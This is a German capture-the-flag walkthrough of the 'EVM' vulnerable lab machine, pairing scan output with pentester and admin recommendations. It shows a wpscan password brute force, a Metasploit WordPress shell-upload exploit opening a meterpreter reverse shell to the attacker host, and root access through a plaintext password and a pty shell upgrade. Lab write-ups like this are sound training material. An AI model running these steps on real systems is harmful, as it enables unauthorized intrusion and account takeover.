192.168.2.187 08:00:27:50:d2:4a PCS Systemtechnik GmbH
Analyse: `arp-scan -l` wird zur Entdeckung aktiver Hosts im lokalen Netzwerk verwendet.
Bewertung: Ein Host mit der IP `192.168.2.187` wurde gefunden. Die MAC-Adresse und der Hersteller ("PCS Systemtechnik GmbH") deuten auf eine VirtualBox VM hin, unser Ziel "EVM".
Empfehlung (Pentester): Verwende `192.168.2.187` als Ziel-IP.
Empfehlung (Admin): Netzwerk-Monitoring zur Erkennung von Scan-Aktivitäten.
192.168.2.187 evm.vln
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um der IP `192.168.2.187` den Namen `evm.vln` zuzuweisen.
Bewertung: Erleichtert das Ansprechen des Ziels, nützlich für Web-Scans.
Empfehlung (Pentester): Verwende `evm.vln` in nachfolgenden Schritten.
Empfehlung (Admin): Lokale Konfiguration des Angreifers.
- Nikto v2.5.0
[...]
+ Target IP: 192.168.2.187
+ Target Hostname: 192.168.2.187
+ Target Port: 80
+ Start Time: 2023-10-16 23:37:31 (GMT2)
[...]
+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /: Server may leak inodes via ETags, header found with file /, inode: 2a45, size: 5964d0a414860, mtime: gzip. [...]
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.54). [...]
+ OPTIONS: Allowed HTTP Methods: POST, OPTIONS, GET, HEAD .
+ /info.php: Output from the phpinfo() function was found. [...]
+ /icons/README: Apache default file found. [...]
+ /info.php?file=http://blog.cirt.net/rfiinc.txt: Remote File Inclusion (RFI) from RSnake's RFI list. See: [...]
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version.
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ RFC-1918 /wordpress/wp-admin/: IP address found in the 'location' header. [...]
+ /wordpress/wp-admin/: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ RFC-1918 /wordpress/: IP address found in the 'link' header. [...]
+ /wordpress/: A Wordpress installation was found.
+ /wordpress/wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...]
+ /wordpress/wp-content/uploads/: Directory indexing found. [...]
+ /wordpress/wp-content/uploads/: Wordpress uploads directory is browsable. [...]
+ /wordpress/wp-login.php: Wordpress login found.
[...]
+ End Time: 2023-10-16 23:38:04 (GMT2) (33 seconds)
[...]
Analyse: Der Webscanner `nikto` findet eine Fülle von Informationen auf Port 80: * Veralteter Apache 2.4.18 (Ubuntu). * Fehlende Sicherheitsheader. * `/info.php`: Eine PHPinfo-Datei, die detaillierte Konfigurationsinformationen preisgibt. * Ein potenzieller RFI-Test in `/info.php` (wahrscheinlich False Positive, da `phpinfo()` normalerweise keine Parameter verarbeitet). * Eine WordPress-Installation unter `/wordpress/` mit diversen Funden (Version Leak, browsable Uploads, Login-Seite). * Private IP-Adressen in Headern. * Directory Indexing in `/icons/` und `/wordpress/wp-content/uploads/`. **Datum extrahiert:** 2023-10-16.
Bewertung: Sehr viele Angriffspunkte. Die `/info.php`-Datei und die WordPress-Installation `/wordpress/` sind die Hauptziele. Die veraltete Apache-Version ist ebenfalls ein Risiko. Die RFI-Meldung ist wahrscheinlich falsch, sollte aber im Hinterkopf behalten werden.
Empfehlung (Pentester):
1. Analysiere `/info.php` auf sensible Konfigurationen.
2. Führe `wpscan` gegen `/wordpress/` aus, um Benutzer, Plugins, Themes und Schwachstellen zu finden.
3. Untersuche das `/wordpress/wp-content/uploads/`-Verzeichnis.
4. Recherchiere Schwachstellen für Apache 2.4.18.
Empfehlung (Admin):
1. Entferne oder beschränke den Zugriff auf `/info.php`.
2. Halte WordPress, Themes und Plugins aktuell. Deaktiviere die Benutzerregistrierung, wenn nicht benötigt. Schütze das Login (`wp-login.php`).
3. Deaktiviere Directory Indexing.
4. Aktualisiere Apache dringend.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-16 23:37 CEST Nmap scan report for evm.vln (192.168.2.187) Host is up (0.00012s latency). Not shown: 65528 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 a2:d3:34:13:62:b1:18:a3:dd:db:35:c5:5a:b7:c0:78 (RSA) | 256 85:48:53:2a:50:c5:a0:b7:1a:ee:a4:d8:12:8e:1c:ce (ECDSA) |_ 256 36:22:92:c7:32:22:e3:34:51:bc:0e:74:9f:1c:db:aa (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.18 (Ubuntu) 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: AUTH-RESP-CODE SASL RESP-CODES UIDL CAPA TOP PIPELINING 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd |_imap-capabilities: LITERAL+ more LOGIN-REFERRALS have listed LOGINDISABLEDA0001 SASL-IR IDLE OK post-login IMAP4rev1 Pre-login ENABLE ID capabilities 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) MAC Address: 08:00:27:50:D2:4A (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: Host: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE; OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb2-time: | date: 2023-10-16T21:37:40 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s | smb-os-discovery: | OS: Windows 6.1 (Samba 4.3.11-Ubuntu) | Computer name: ubuntu-extermely-vulnerable-m4ch1ine | NetBIOS computer name: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE\x00 | Domain name: \x00 | FQDN: ubuntu-extermely-vulnerable-m4ch1ine |_ System time: 2023-10-16T17:37:40-04:00 |_nbstat: NetBIOS name: UBUNTU-EXTERMEL, NetBIOS user:, NetBIOS MAC: (unknown) TRACEROUTE HOP RTT ADDRESS 1 0.12 ms evm.vln (192.168.2.187) [...]
Analyse: Der vollständige Nmap-Scan (`-A` aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute, `-Pn` überspringt den Host-Discovery-Ping) bestätigt die offenen Ports und liefert Details: * Port 22: OpenSSH 7.2p2 (Ubuntu). * Port 53: ISC BIND 9.10.3-P4 (DNS-Server). * Port 80: Apache 2.4.18 (Ubuntu). * Port 110: Dovecot pop3d. * Port 139/445: Samba 4.3.11 (Ubuntu). Wichtig: SMB-Message-Signing ist deaktiviert (`disabled (dangerous, but default)` für SMBv1?) und Gast-Zugriff scheint aktiviert (`account_used: guest`). * Port 143: Dovecot imapd. * Betriebssystem: Linux Kernel 3.x/4.x.
Bewertung: Die offenen Ports erweitern die Angriffsfläche erheblich (DNS, Mail, SMB). Der Samba-Dienst mit deaktiviertem Signing und potentiellem Gastzugriff ist ein wichtiges Ziel. Die BIND-Version könnte auf Schwachstellen geprüft werden (z.B. Zone Transfer). Die Mail-Dienste könnten für Benutzer-Enumeration genutzt werden.
Empfehlung (Pentester):
1. Fokus weiterhin auf Web/WordPress (Port 80).
2. Untersuche SMB (Port 139/445) genauer: `smbclient -L \\\\192.168.2.187\\ -N` (Null Session), `enum4linux`. Suche nach Shares mit Gastzugriff.
3. Prüfe DNS (Port 53) auf Zone Transfer (`dig axfr @192.168.2.187 yourdomain.com`).
4. Untersuche Mail-Dienste (POP3/IMAP) auf Benutzer-Enumeration oder bekannte Schwachstellen.
Empfehlung (Admin):
1. Aktualisiere alle Dienste (OpenSSH, BIND, Apache, Dovecot, Samba).
2. Konfiguriere Samba sicher: Deaktiviere Gastzugriff (`guest ok = no`), erzwinge SMB-Signing (`server signing = mandatory`). Beschränke den Zugriff auf Shares.
3. Konfiguriere BIND sicher, beschränke Zone Transfers.
4. Sichere die Mail-Dienste ab.
[...]
=( Target Information )=
[...]
=( Share Enumeration on 192.168.2.187 )=
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
IPC$ IPC IPC Service (ubuntu-extermely-vulnerable-m4ch1ine server (Samba, Ubuntu))
[...]
=( Users on 192.168.2.187 via RID cycling (RIDS: 500-550,1000-1050) )=
[...]
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\rooter (Local User)
[...]
enum4linux complete [...]
Analyse: `enum4linux` wird zur SMB-Enumeration verwendet. Es findet die Shares `print$` und `IPC$` und identifiziert via RID-Cycling den Benutzer `rooter` (UID 1000).
Bewertung: Bestätigt die Shares (kein einfacher Zugriff laut Ausgabe) und findet einen potenziellen Benutzernamen `rooter`. Dies ist ein nützlicher Hinweis.
Empfehlung (Pentester): Behalte den Benutzernamen `rooter` im Hinterkopf. Konzentriere dich weiter auf die WordPress-Instanz.
Empfehlung (Admin): Beschränke SMB-Enumerationsmöglichkeiten (Null Sessions, RID Cycling), wenn möglich.
[...]
http://evm.vln/index.html (Status: 200) [Size: 10821]
http://evm.vln/info.php (Status: 200) [Size: 82877]
[...]
Analyse: Erneuter `gobuster`-Scan gegen die Wurzel (`/`). Findet `/index.html` und die bereits bekannte `/info.php`. Interessanterweise wird `/wordpress` hier nicht gefunden (vielleicht durch `-b 301` ausgeblendet, da `/wordpress` oft zu `/wordpress/` weiterleitet).
Bewertung: Bestätigt `/info.php`. Die Konfiguration des Scans hat möglicherweise das `/wordpress`-Verzeichnis übersehen.
Empfehlung (Pentester): Vertraue auf die `nikto`-Ergebnisse bezüglich `/wordpress`. Analysiere `/info.php`.
Empfehlung (Admin): Keine neuen Erkenntnisse.
[...]
==> DIRECTORY: http://evm.vln/wordpress/
[...]
+ http://evm.vln/info.php (CODE:200|SIZE:82877)
+ http://evm.vln/index.html (CODE:200|SIZE:10821)
+ http://evm.vln/server-status (CODE:403|SIZE:279)
+ http://evm.vln/wordpress/wp-login.php (CODE:200|SIZE:4668)
[...]
Analyse: `dirb` wird mit Fokus auf bestimmte Endungen verwendet. Findet `/info.php`, `/index.html` und wichtig: `/wordpress/wp-login.php`.
Bewertung: Bestätigt den Pfad zur WordPress-Loginseite.
Empfehlung (Pentester): Fokussiere dich auf WordPress mit `wpscan`.
Empfehlung (Admin): Keine neuen Erkenntnisse.
[...]
Scan Aborted: The remote website is up, but does not seem to be running WordPress.
[...]
Analyse: `wpscan` wird gegen die Login-Seite `/wordpress/wp-login.php` ausgeführt.
Bewertung: Der Scan schlägt fehl, da `wpscan` die Wurzel der WordPress-Installation als Ziel erwartet, nicht die Login-Seite.
Empfehlung (Pentester): Führe `wpscan` gegen `http://evm.vln/wordpress/` aus.
Empfehlung (Admin): Keine direkten Maßnahmen.
_______________________________________________________________ [...] [i] User(s) Identified: [+] c0rrupt3d_brain | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection) [+] Performing password attack on Wp Login against 1 user/s [SUCCESS] - c0rrupt3d_brain / 24992499 [...] [!] Valid Combinations Found: | Username: c0rrupt3d_brain, Password: 24992499 [...] [+] Finished: Tue Oct 17 00:09:46 2023 [...]
Analyse: `wpscan` wird korrekt gegen `http://evm.vln/wordpress/` ausgeführt. * `--url`: Ziel-URL. * `--api-token`: Für Schwachstellendatenbank-Abfragen (optional). * `--passwords`: Pfad zur Passwortliste für Brute-Force. * `-e at, ap, u`: Enumeriert alle Themes (`at`), alle Plugins (`ap`) und Benutzer (`u`). Der Scan identifiziert den Benutzer `c0rrupt3d_brain` und knackt dessen Passwort erfolgreich mittels Brute-Force als `24992499`.
Bewertung: Hervorragend! Gültige Administrator-Zugangsdaten für WordPress wurden gefunden. Dies ist der Schlüssel zum initialen Zugriff.
Empfehlung (Pentester): Nutze die gefundenen Zugangsdaten (`c0rrupt3d_brain` / `24992499`), um dich im WordPress-Adminbereich (`/wordpress/wp-admin/`) anzumelden. Suche nach Möglichkeiten zur Codeausführung (Theme/Plugin-Editor, Uploads) oder verwende das Metasploit-Modul `exploit/unix/webapp/wp_admin_shell_upload`.
Empfehlung (Admin): Erzwinge starke, eindeutige Passwörter für alle WordPress-Benutzer, insbesondere Administratoren. Implementiere Login-Rate-Limiting oder Captchas, um Brute-Force-Angriffe zu erschweren. Deaktiviere die Benutzer-Enumeration, wenn möglich.
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
targeturi => /wordpress
username => c0rrupt3d_brain
password => 24992499
rhosts => 192.168.2.187
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Authenticating with WordPress using c0rrupt3d_brain:24992499...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /wordpress/wp-content/plugins/RtKXzHFWno/uymPRLoif.php...
[*] Sending stage (39927 bytes) to 192.168.2.187
[+] Deleted uymPRLoif.php
[+] Deleted RtKXzHFWno.php
[+] Deleted ../RtKXzHFWno
[*] Meterpreter session 1 opened (192.168.2.199:4444 -> 192.168.2.187:50348) at 2023-10-17 00:11:22 +0200
Analyse: Das Metasploit-Modul `exploit/unix/webapp/wp_admin_shell_upload` wird verwendet, um über die WordPress-Admin-Zugangsdaten eine Shell zu bekommen. 1. Das Modul wird geladen (`use ...`). 2. Die Optionen werden gesetzt: `targeturi` (WordPress-Pfad), `username`, `password`, `rhosts` (Ziel-IP). `LHOST` und `LPORT` für die Payload werden standardmäßig verwendet (hier `192.168.2.199:4444`). 3. `run` startet den Exploit. Metasploit loggt sich ein, lädt eine schädliche PHP-Datei (als Plugin oder Theme getarnt) hoch, führt sie aus, wodurch die Meterpreter-Payload nachgeladen wird, und bereinigt dann die hochgeladenen Dateien. 4. Eine Meterpreter-Session (Session 1) wird erfolgreich geöffnet.
Bewertung: Der initiale Zugriff wurde erfolgreich über die WordPress-Schwachstelle (Ausnutzung der Admin-Rechte zum Code-Upload) erlangt. Wir haben nun eine Meterpreter-Session.
Empfehlung (Pentester): Interagiere mit der Meterpreter-Session (`sessions -i 1`). Ermittle den Benutzer (`getuid`, `shell`, `id`) und beginne mit der Privilege-Escalation-Enumeration.
Empfehlung (Admin): Schränke die Berechtigungen des Webservers ein, um das Schreiben in Plugin-/Theme-Verzeichnisse nach Möglichkeit zu verhindern (obwohl dies die Update-Funktionalität beeinträchtigen kann). Verwende Dateisystem-Monitoring, um verdächtige Uploads zu erkennen. Starke Passwörter und aktuelle WordPress-Versionen sind essentiell.
Process 4058 created.
Channel 0 created.
sh: 0: getcwd() failed: No such file or directory
sh: 0: getcwd() failed: No such file or directory
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Innerhalb der Meterpreter-Session wird der `shell`-Befehl verwendet, um eine Standard-System-Shell zu erhalten. Die `getcwd()`-Fehler sind häufig, aber meist unkritisch. Der `id`-Befehl bestätigt, dass die Shell als Benutzer `www-data` (UID 33) läuft.
Bewertung: Bestätigung des initialen Zugriffs als Webserver-Benutzer `www-data`.
Empfehlung (Pentester): Beginne mit der Enumeration für Privilege Escalation (SUID-Dateien, Cronjobs, Fehlkonfigurationen, Kernel-Version etc.).
Empfehlung (Admin): Der Webserver-Benutzer sollte minimale Rechte haben.
Analyse: Die Privilege Escalation basiert auf dem Fund einer Passwortdatei im Home-Verzeichnis des Benutzers `root3r` (Zugriff möglich, da der Pfad oder die Berechtigungen dies erlaubten - der genaue Grund fehlt im Log, aber der Zugriff war möglich) und der Notwendigkeit, die initiale `www-data`-Shell für die Verwendung von `su` aufzuwerten.
Bewertung: Der Proof of Concept demonstriert, wie eine Kombination aus Informationsleck (Passwort in Datei) und der Fähigkeit, eine eingeschränkte Shell aufzuwerten, zur vollständigen Kompromittierung des Systems führt.
Empfehlung (Pentester): Diese Methode ist effektiv, wenn Passwörter unachtsam gespeichert werden. Die Shell-Aufwertung ist eine Standardtechnik.
Empfehlung (Admin): Speichere niemals Passwörter im Klartext. Überprüfe Dateiberechtigungen, insbesondere in Home-Verzeichnissen. Überwache Systemprozesse auf verdächtige Shell-Spawning-Aktivitäten.
17540 36 -rwsr-xr-x 1 root root 35600 Mar 6 2017 /sbin/mount.cifs
393294 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
393279 40 -rwsr-xr-x 1 root root 40152 Jun 14 2017 /bin/mount
393293 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
393328 28 -rwsr-xr-x 1 root root 27608 Jun 14 2017 /bin/umount
393310 40 -rwsr-xr-x 1 root root 40128 May 16 2017 /bin/su
399578 140 -rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
399575 32 -rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
15862 40 -rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
487 12 -rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
18671 16 -rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1
16980 420 -rwsr-xr-x 1 root root 428240 Mar 16 2017 /usr/lib/openssh/ssh-keysign
19001 204 -rwsr-xr-x 1 root root 208680 Apr 29 2017 /usr/lib/snapd/snap-confine
145712 44 -rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
227 76 -rwsr-xr-x 1 root root 75304 May 16 2017 /usr/bin/gpasswd
386 136 -rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo
17225 52 -rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at
166 40 -rwsr-xr-x 1 root root 40432 May 16 2017 /usr/bin/chsh
15877 36 -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newuidmap
302 56 -rwsr-xr-x 1 root root 54256 May 16 2017 /usr/bin/passwd
18680 24 -rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec
164 52 -rwsr-xr-x 1 root root 49584 May 16 2017 /usr/bin/chfn
15878 36 -rwsr-xr-x 1 root root 32944 May 16 2017 /usr/bin/newgidmap
18871 88 -rwsr-sr-x 1 root mail 89248 May 15 2015 /usr/bin/proc
Analyse: Die Suche nach SUID-Dateien wird durchgeführt. Es werden viele Standard-SUID-Binaries gefunden. `/usr/bin/sudo` ist vorhanden, aber wie zuvor festgestellt, wahrscheinlich nicht direkt nutzbar ohne TTY. `/usr/bin/proc` (wahrscheinlich procmail) und `/usr/bin/at` könnten potenziell interessant sein, erfordern aber spezifische Konfigurationen oder Bedingungen zur Ausnutzung.
Bewertung: Die SUID-Suche liefert keinen einfachen, direkten Weg zur Privilege Escalation.
Empfehlung (Pentester): Untersuche Home-Verzeichnisse und Konfigurationsdateien auf Passwörter oder Fehlkonfigurationen.
Empfehlung (Admin): Überprüfe regelmäßig SUID/SGID-Dateien und entferne unnötige Berechtigungen.
root3r
total 40
drwxr-xr-x 3 www-data www-data 4096 Nov 1 2019 .
drwxr-xr-x 3 root root 4096 Oct 30 2019 ..
-rw-r--r-- 1 www-data www-data 515 Oct 30 2019 .bash_history
[...]
drwxr-xr-x 2 www-data www-data 4096 Oct 30 2019 .cache
[...]
-rw-r--r-- 1 www-data www-data 8 Oct 31 2019 .root_password_ssh.txt
-rw-r--r-- 1 www-data www-data 0 Oct 30 2019 .sudo_as_admin_successful
-rw-r--r-- 1 root root 4 Nov 1 2019 test.txt
willy26
Analyse: Das Home-Verzeichnis des Benutzers `root3r` wird untersucht. Die Datei `.root_password_ssh.txt` wird gefunden und ihr Inhalt (`willy26`) wird ausgelesen.
Bewertung: Ein Klartext-Passwort, das vermutlich für den `root`-Benutzer gilt, wurde gefunden. Dies ist der Schlüssel zur Privilege Escalation.
Empfehlung (Pentester): Werte die aktuelle Shell zu einer vollen TTY auf (mittels Python oder ähnlichem), um `su` verwenden zu können. Nutze dann `su root` mit dem Passwort `willy26`.
Empfehlung (Admin): Speichere niemals Passwörter im Klartext. Überprüfe Berechtigungen von Home-Verzeichnissen und Dateien.
su: must be run from a terminal
sudo: no tty present and no askpass program specified
/usr/bin/python
Password: willy26
uid=0(root) gid=0(root) groups=0(root)
Analyse: 1. Die Versuche, `su` und `sudo` zu verwenden, scheitern aufgrund der fehlenden TTY in der einfachen Reverse Shell. 2. Mittels `python -c "import pty;pty.spawn('/bin/bash')"` wird die Shell zu einer voll interaktiven Bash-Shell aufgewertet. 3. `export TERM=xterm` wird gesetzt. 4. `su root` wird erneut versucht. Diesmal wird nach dem Passwort gefragt. 5. Das gefundene Passwort `willy26` wird eingegeben. 6. Der Wechsel zum Root-Benutzer ist erfolgreich, bestätigt durch den neuen Prompt und den `id`-Befehl.
Bewertung: Die Privilege Escalation war erfolgreich. Der entscheidende Schritt war das Finden des Root-Passworts in der Datei `.root_password_ssh.txt` und die anschließende Aufwertung der Shell, um `su` verwenden zu können.
Empfehlung (Pentester): Suche nach der Root-Flag im `/root`-Verzeichnis.
Empfehlung (Admin): Sichere Passwörter. Überwache Systemaufrufe und Prozessstarts.
proof.txt
voila you have successfully pwned me :) !!!
:D
Analyse: Als Root wird das Home-Verzeichnis (`/root`) aufgesucht. Dort befindet sich die Datei `proof.txt`, deren Inhalt angezeigt wird.
Bewertung: Die Datei `proof.txt` enthält die Bestätigung des erfolgreichen Angriffs und stellt somit die Root-Flag dar.
Empfehlung (Pentester): Dokumentiere den Inhalt von `proof.txt` als Root-Flag.
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag, aber die vorherigen Sicherheitsempfehlungen sind relevant.